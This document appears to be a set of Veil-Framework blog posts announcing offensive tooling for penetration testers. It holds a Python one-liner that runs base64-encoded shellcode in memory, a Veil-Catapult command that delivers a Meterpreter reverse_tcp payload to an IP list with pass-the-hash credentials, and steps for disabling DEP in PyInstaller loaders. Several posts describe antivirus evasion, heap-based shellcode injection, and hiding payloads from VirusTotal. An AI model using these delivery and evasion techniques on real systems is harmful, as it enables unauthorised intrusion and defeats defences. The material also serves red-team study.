Barebones Python Injection

We love powershell. It’s awesome for payload delivery for a myriad of reasons; trusted execution, AV-bypassing abilities, reputation filter bypass, full .NET capabilities, etc. However, on assessments we still sometimes encounter machines without powershell installed or enabled. Wouldn’t it be nice to still have a method to invoke payloads without powershell that still granted trusted execution and the other nice features we get with that approach?

The Barebones Python injector released with Veil-Catapult addresses this problem. If you don’t have powershell access on a system for some reason, don’t really like dropping malicious EXEs to disk, or nasty AV white listing/reputation filers are causing you pain, this method provides you an alternative option for owning boxes with a trusted execution model.

To execute, a zipped ‘barebones’ Python environment is first uploaded to the victim machine’s temp directory using Impacket, along with a stand alone 7zip binary. This environment was stripped by hand to only include the bare minimum libraries needed in order to invoke shellcode utilizing Python cytpes. A pth-wmis or pth-winexe command is used to unzip the environment, and a second command will invoke the extracted Python binary with the “-c” option. The passed string comprises a minimum Python program that will base64 decode a shellcode string and invoke it in memory:

python.exe -c "from ctypes import *; a=’u/Fp...’.decode(‘base_64’);cast(create_string_buffer(a,len(a)),CFUNCTYPE(c_void_p))()"

The end result? The only files that touch disk are known/trusted Python libraries and interpreter, and your Veil-Evasion generated shellcode is invoked without a malicious executable potentially being snarfed up by AV.

 

Shmoocon Recap

This past Saturday the Veil team presented our talk “AV Evasion With the Veil Framework” at Shmoocon 2014. It was an awesome experience, and we greatly appreciate all the feedback and support we received. The slides from the talk have been posted on slideshare.  We also gave the same talk at ShmooconEpilogue, hosted by NOVAHackers, and our presentation was recorded.  To see the video, just click here.

With the release of Veil-Catapult and our move towards expanding the Veil framework beyond just Veil-Evasion, we wanted to brief everyone again on the new github project structure. The original tool formerly known just as “Veil” now resides at https://github.com/veil-framework/Veil-Evasion while Veil-Catapult resides in its own repo at https://github.com/Veil-Framework/Veil-Catapult. We will maintain a superproject at https://github.com/Veil-Framework/Veil that will always pull down and set up stable branches of each tool in the Veil-Framework. We recommend that most users clone the superproject and use its update script to take care of everything.

Based on feedback from Shmoo, we implemented the ability to auto-spawn a handler for session catching when using Veil-Evasion in Veil-Catapult. If you set SPAWN_CATAPULT_HANDLER=”true” in /etc/veil/settings.py and then utilize Veil-Evasion to generate a payload to deliver in Veil-Catapult, a window will open that automatically fills in the options for msfconsole. At this point, this is disabled by default.

We also wanted to go over a lesser known shellcode injection technique that we spoke about during our presentation, specifically how we are injecting into memory with via the processes’s heap.  We found that utilizing the processes’s heap for storing and then executing our shellcode was possible while researching methods to allocate memory and modify the permissions (read, write, execute) of the memory that has been allocated.  Although, after finally getting heap based injection working, we also found that it has been documented elsewhere.

Heap based injection is very similar to injecting into memory with VirtualAlloc.  First, we create a private heap object, via HeapCreate.  This allows the calling process to use the heap object.  Once the object has been created, we allocate a block of memory from the heap object to store our shellcode with HeapAlloc.  These two calls are the only difference between injecting into memory via the heap or utilizing a VirtualAlloc call.  Once the space has been allocated (as read/write/executable), we move our shellcode into memory with RtlMoveMemory, spawn a thread that executes the shellcode via CreateThread, and then we simply wait for our spawned thread (containing out Meterpreter session) to finish its execution, via WaitForSingleObject, before exiting the entire process.

If anyone has any additional feedback, questions, or ideas, please hit us up on freenode on the #veil channel, email us or reach out to any of us on twitter (info on our contact page), or submit issues on our github.  Thanks for all the support, and we hope to keep making something we love that also helps our community.

Veil-Catapult

Payload delivery for when Metasploit’s psexec and its stock .exe templates fail is a common problem for penetration testers.  A while back Attack Research released a great post entitled “psexec fail? upload and exec instead“, which detailed how to upload and execute specified payloads. The excellent tool SMBexec can accomplish the same goal, utilizing a patched version of samba to upload .exe’s and trigger them. These options are great, but we wanted to build something that utilized the Veil framework for payload generation and filled in a few of the gaps we felt were missing.

We’d like to announce the newest addition to the Veil-Framework, our payload delivery tool Veil-Catapult. Utilizing the Impacket library from Core Labs and the passing-the-hash toolkit, as well as the full functionality of Veil-Evasion, Veil-Catapult meets all of your AV-evading payload delivery needs:

catapult_main_menu

EXE delivery features seamless integration with Veil-Evasion. If you don’t want to specify a custom executable, you can drop right into the Veil-Evasion generation menu and build a payload on the fly. Since this directly invokes the existing payload codebase, you have access to all the latest methods and modules as they’re released. After you’ve specified your options and built an executable, you’re dropped right back into the Veil-Catapult menu for target information. Single IPs or target lists can be specified, a domain can optionally be specified, and credentials can use hashes as well as normal passwords:

catapult_exe_menu

Triggering utilizes the passing-the-hash toolkit, specifically pth-wmis and pth-winexe. pth-wmis doesn’t create a service, but pth-winexe will run as system, so which to choose is situation dependent. Payloads can also be uploaded and triggered on a victim, or hosted on a temporary Impacket SMB server on your attacker box and triggered with \\UNC paths. A nice side effect of UNC triggering is that some otherwise disk-detectable .exe’s will get right by a lot of antivirus : )

Note: python pyinstaller payloads can’t be hosted and MUST be uploaded in order to work properly.

catapult_host_execute

Standalone payloads offers some tried and true methods as well as a slightly new approach. Powershell can be invoked using the standard command line shellcode-injecting payload generated by Veil-Evasion, and the sticky keys sethc backdoor can be triggered as well, both with the same wmis or winexe options.

The Barebones python injector is a neat approach which we’ll be talking about in detail in an upcoming blog post. But feel free to check it out now : )

Cleanup functionality has also been incorporated. Whenever an exe is uploaded/host and then triggered on a host, cleanup instructions are written out to a resource file. Calling ./Veil-Catapult.py -r CLEANUP_FILE will first kill all associated processes on popped hosts, and then delete any uploaded binaries. The sethc backdoor also generates a cleanup script.

catapult_cleanup

And of course, we have command line flags for every option- try ./Veil-Catapult.py -h for all the details:

catapult_flags

The following example takes an IP list, a hashdump/pwdump formatted cred file with an admin hash, pth-wmis for triggering, uses the c/shellcode_inject/void payload and specific MSF parameters to generate an .exe with Veil-Evasion, hosts the executable and triggers it on your IP, and doesn’t confirm before launching:

./Veil-Catapult.py -tL ips.txt -cF d.txt –wmis -p c/shellcode_inject/void –msfpayload windows/meterpreter/reverse_tcp –msfoptions LHOST=172.16.199.236 LPORT=4444 –act hostexec –lip 172.16.199.236 -nc

  •  –tL : provides a list of IPs to target
  • -cF : provides a pwdump file that Veil-Catapult extracts the admin account out of
  • –wmis : specifies for pth-wmis to be used for triggering
  • –p … : specifies the Veil-Evasion payload to be used
  • –msfpayload : details the Metasploit shellcode to be used by the Veil-Evasion payload
  • –msfoptions : provides additional configuration details for the Metasploit payload
  • –act hostexec : instructs Veil-Catapult to host the payload and execute by \\UNC path
  • –lip : the local IP needed for UNC invocation
  • -nc : don’t confirm before firing off the attack

Veil-Catapult’s introduction marks our long-intended goal of expanding the Veil-Framework beyond just AV-evasion. We’ve moved our original Veil repository to https://github.com/Veil-Framework/Veil-Evasion/ and established a new repository for Veil-Catapult at https://github.com/Veil-Framework/Veil-Catapult/ . A superproject will be maintained at https://github.com/Veil-Framework/Veil/ that will pull in each tool in the Veil-Framework. We recommend that most users pull down the superproject to make sure everything works correctly together. If you choose to run the tools in different locations, be sure to edit /etc/veil/settings.py as appropriate if anything happens to malfunction.

Veil-Evasion 2.4.0 – Reverse HTTP

For our January V-Day, we’re introducing two new payload modules, python/meterpreter/rev_http and python/meterpreter/rev_https. These stagers are shellcode-less, ‘pure’ Meterpreter stagers somewhat similar to traditional reverse_tcp stagers.

Meterpreter reverse_https[s] stagers are actually a bit simpler than reverse_tcp. The general idea is the same- the handler serves up a .dll file that the client then injects using the VirtualAlloc/etc. methodology. However, instead of having to patch the .dll ourselves with assembly instructions and the socket file descriptor, the Metasploit handler patches the user-agent, transport method (http/https), url and expiration/communication timeout dynamically as it serves the Meterpreter .dll:

rev_http_patch

The only slightly tricky part is reversing the http checksum method that a Metasploit stager uses for requesting the specific resource from the handler (that /aIc0 above) . This URI resource generation method is ‘generate_uri_checksum()’ in metasploit-framework/lib/msf/core/handler/reverse_http/uri_checksum.rb (formally in metasploit-framework/lib/msf/core/handler/reverse_http.rb) . The algorithm can be implemented in Python as follows:

# adds up all character values and mods the total by 256
def checksum8(s):
	return sum([ord(ch) for ch in s]) % 0x100

# generate a metasploit http handler compatible checksum for the URL
def genHTTPChecksum():
	chk = string.ascii_letters + string.digits
	for x in xrange(64):
		uri = "".join(random.sample(chk,3))
		r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
		for char in r:
			if checksum8(uri + char) == 92:
				return uri + char

Since http[s] stagers are packet-based instead of stream-based, the MSF devs put a system into the handlers that corrals ‘orphaned’ sessions. That is, if you close your reverse_http handler, then start it up later (within the specified reconnect window) the handler will pick the session back up and reregister it. We talked about this during our Building in the Meterpreter .dll post. Here, since we’re registering a session in the correct way, we stay with the ’92’ checksum value (which corresponds to URI_CHECKSUM_INITW).

With the checking algorithm implemented in the stagers, you’ll get a nice and different checksum value every time each stager is run, instead of having to rely on a single hardcoded value. Another nice little bonus with the rev_http is that it plays functions nicely as a native stager for Cobalt Strike’s beacon. We talked about using beacon with Veil previously and this gives a nice alternative to using straight shellcode stagers. 

DEP and Pyinstaller

Previously, on our first V-Day payload release, we described using void pointer casting as a method to invoke shellcode. We also noted that when using this method, you may run into some problems with DEP enforcing systems as we memory location in memory is not explicitly marked as RWX. As most systems tend to default to an opt-in DEP enforcement policy, if the executable you’re running opts-in to this protection, this method will fail with an access violation.

We were recently investigating a weird quirk with these types of payloads: python void pointer payloads (currently) work when being run as a manual python .py file, but fail when packaged into an executable with Pyinstaller. We determined that while the python.exe interpreter used and packaged with the Pyinstaller binary is not DEP enabled, the resulting Pyinstaller payloads do in fact opt in to this protection. If you’re interested, you can check/confirm this using the GetProcessDEPPolicy system call.

So the next step was to determine how to convince Pyinstaller to generate executables that don’t opt into DEP protection. Pyinstaller binaries are conceptually somewhat simple: the python interpreter and necessary libraries are packaged together with the target script into a CArchive, and packed onto the end of a small loader executable. The Pyinstaller website concisely describes a CArchive as, “Very much like a .zip file. They are easy to create in Python and unpack from C code. CArchives can be appended to other files (like ELF and COFF executables, for example).” Pyinstaller holds precompiled copies of 32-bit and 64-bit loaders for Linux, OSX and Windows in ./pyinstaller-2.0/support/loader/* , then dynamically builds the CArchive structure and attaches it to the appropriate loader. When the resulting executable runs, the loader extracts the python environment and script from the CArchive, and uses the interpreter to run the packaged script.

These loader executables are what what were throwing us for a loop: all the windows loaders included with the project are compiled with DEP protection enabled. Luckily, the source for the loaders are included with the project in ./pyinstaller-2.0/source/* , and if you have Visual Studio installed on a Windows box, the binaries can easily be recompiled in a way to fit out needs.

The binaries utilize the WAF build system to build the loaders. Open up .\pyinstaller-2.0\source\wscript , and add conf.env.append_value(‘LINKFLAGS’, ‘/NXCOMPAT:NO’) right after the other flags on lines 209 and 211 (as seen on line 210 and 213 below). This will instruct the Visual Studio linker to turn off DEP compatibility:

 

wscript_dep

Then run

C:\pyinstaller-2.0\source\> python waf configure
C:\pyinstaller-2.0\source\> python waf 

to configure the build system to your environment and build all the loader executables. For our purposes, the only binary you need is  .\pyinstaller-2.0\source\build\releasew\runw.exe – copy this into the pyinstaller-2.0/support/loader/Windows-32bit/ install location used by Veil (found under PYINSTALLER_PATH in /etc/veil/settings.py).

Pyinstaller generated executables should now opt out of DEP protection, enabling you to use void pointer shellcode invocation on a much larger number of machines.

 

How to Safely Check Veil Payloads Against VirusTotal

In hindsight, this post is probably one of the first ones that we should have written, but better late then never.

As many of you know, we heavily state on our website, within Veil, and within the license, that you should not be submitting your payloads to VirusTotal, or any online virus scanner. We still heavily believe in this, and if you want the best chance to not get caught, just don’t do it.

With that said, there’s another option. In case no one has used it before, Rob Fuller (@mubix) created a great tool called VT-Notify. VT-Notify works by sending a SHA1 hash of a binary to VirusTotal through its API. The key thing to note here is that your payload is not uploaded to VirusTotal, simply its SHA1 hash. VirusTotal then uses the SHA1 hash against its AV solutions, and let’s you know if any of the SHA1 hashes have been flagged/detected by any of the antivirus solutions it has available. Again, while we still think it’s best to not submit any information anywhere, this is the best solution for checking to see if your payloads have been flagged.

First, in case you haven’t noticed, Veil is now creating a list within the ~/veil-output/ directory called hashes.txt.

Hashestxt

This file contains the SHA1 hashes of all payloads you’ve created, along with their name. This is what VT-Notify will use when interacting with VirusTotal.

VT-Notify has been added to Veil in two different areas, and can be accessed either way. To use it within Veil’s menu, simply start Veil, and then at the main menu you should see the new option. This is for a quick single check. Simply call the command “checkvt”, and you should see the following output if all your payloads are “clean”.

Checktvclean

Now, if one of your payloads have been flagged, you should see something similar to the following.

Checkvtcaught

This essentially concludes how to use it within Veil’s menu system. You also can use the tool, like normal with all its command line options from the command line. To to this, just simply browse to its location at /path/to/veil/tools/vt-notify/ and call it from within that directory.

Vtnotify

If anyone has any questions, feel free to hit us up in our forums! Thanks!

Self-Expiring Payloads

The Veil-Framework team loves getting feedback from the community and like to hear if Veil works well for you, and learn about new ways we can add to the software that we hadn’t yet thought of/done. We were recently asked if any Veil payloads expire, and up until this point, they never did. This was a really interesting request as we hadn’t thought about adding this feature to Veil payloads, and we immediately began looking into it. In our latest V-Day release, we updated our Python payloads to support a date based expiration.

Expiring Payloads

As you can see in the picture above, we now have an extra option for Python payloads, the “expire_payload” option. To force a payload to expire after a certain number of days (in this instance, we’ll go with 10), we need to change the default value of “X”. You can change it exactly how you change any Veil payload’s options, using the set command.

Expire After 10 Days

ExpirePayloadInfo

The way that option works, is upon the creation of the backdoor, Veil stores the current date within the payload. Upon running on your victim machine, the payload will compare the current date on the victim system, to the date that it is supposed to expire. If it is past the expiration date, the payload will simply exit. If the payload is still within the allowed timeframe, it will inject your shellcode into memory and operate as it always does.

We hope that this feature helps, and we’d love to hear any feedback and/or additional feature requests!

Veil-Evasion 2.3.0 – More Stagers

Time for our December V-Day. Veil-Evasion 2.3.0 has been pushed to the master branch and we’d like to let you know exactly what’s changed:

  • New Payloads – meterpreter/reverse_tcp stagers for C# and Python have been released under cs/meterpreter/rev_tcp and python/meterpreter/rev_tcp. These function similarly to the C stagers released on our last V-Day.
  • C# obfuscation –  People may have noticed that our C# payloads look surprisingly similar on each generation: this is because our first approach was a simple template that we substituted connection options into. All C# payloads now implement basic variable and method obfuscation in an attempt to generate slightly dissimilar payload “families”. More advanced obfuscation will be implemented in upcoming releases.
  • Python self-expiring payloads – Python payloads now have an expiration option; this will be covered in more detail in an upcoming post.
  • Payload hash record – the SHA-1 hash of every generated payload executable is now kept in ~/veil-output/hashes.txt. An upcoming post will show how to put this to use.
  • Payload reorganization – The way payloads are organized has been changed. The general structure is now [language]/[method]/[payload]. ‘Method’ at this point consists of “meterpreter” for Meterpreter stagers, and “shellcode_inject” for the various shellcode injection methods. List on the main menu will show you the structure, or you can browse it directly at ./modules/payloads/*
  • Command line options changed – Along with the payload reorganization, the “-l” command line option has been eliminated and “-p” now takes the entire payload name, i.e. “-p python/meterpreter/rev_tcp”. ./Veil.py -p will list all available payloads if a specific one isn’t specified. Also, new options have been introduced, “–overwrite”, which will overwrite existing source/compiled payload files if they exist, and “–clean” which will clean out payload folders.
  • Backend Changes –  the main class for the payload modules is now “Payload” instead of “Stager”. Additionally, “crypters.py” has been absorbed into “encryption.py” and “randomizer.py” has been absored into “helpers.py”. Check out ./modules/payloads/template.py for proper usage. Our previous tutorials and posts have been updated to reflect the changes.

We shoot to preserve as much backwards compatibility as possible, but occasionally backend changes do need to be made in the framework. Our goal is to make these types of modifications as rarely as possible, and to give everyone a heads up for major interface and framework tweaks. With these consolidated changes, usability should hopefully stay uniform for at least the next year.

 

Veil-Evasion 2.2.0 – Native Stagers

Shellcode injection has been around for a long time and usually utilizes four standard windows API calls:

  1. VirtualAlloc() is used to allocation a RWX memory page to hold the shellcode
  2. RtlMoveMemory() (or some other low-level copy function) is used to copy the shellcode bytes into the region reserved by VirtualAlloc()
  3. CreateThread() is used to create a thread within the virtual address space of the calling process
  4. WaitForSingleObject() is used to wait until the thread exits

Since the Metasploit .dll is built to be reflectively injectable using Stephen Fewer’s awesome work, we can use the same process to inject the .dll into memory. If we make a few more tweaks, we can build a pure Metasploit stager without resorting to shellcode. Egypt did a great job describing how the Metasploit stager works :

  1. establish a socket connection to the Metasploit handler
  2. read a 4-byte length
  3. allocate a (length-byte + 5) buffer, mark it as writable and executable
  4. at buffer[0], write some assembly that stores the current socket ID of the connection in the EDI register
  5. at buffer[1:4] store the int value of the current socket ID
  6. read length bytes from the connection from the pipe into buffer[5…] (this is the meterpreter .dll)
  7. invoke call the shellcode blob with the VirtualAlloc() pattern or void pointer casting
  8. the meterpreter .dll now uses the already-established socket for communication, avoiding an additional connect back

Raphael Mudge did a great post a bit ago talking about building these types of loaders, and we stumbled upon his stager code a while back and adapted the code for Veil-evasion. For today’s V-Day, we’re releasing a traditional and psexec-able service versions of this c-stager in Veil-evasion v.2.2.0 under c/meter_rev_tcp and c/meter_rev_tcp_service. We’ve implemented some basic randomization and method obfuscation to decrease detection.

Have fun :)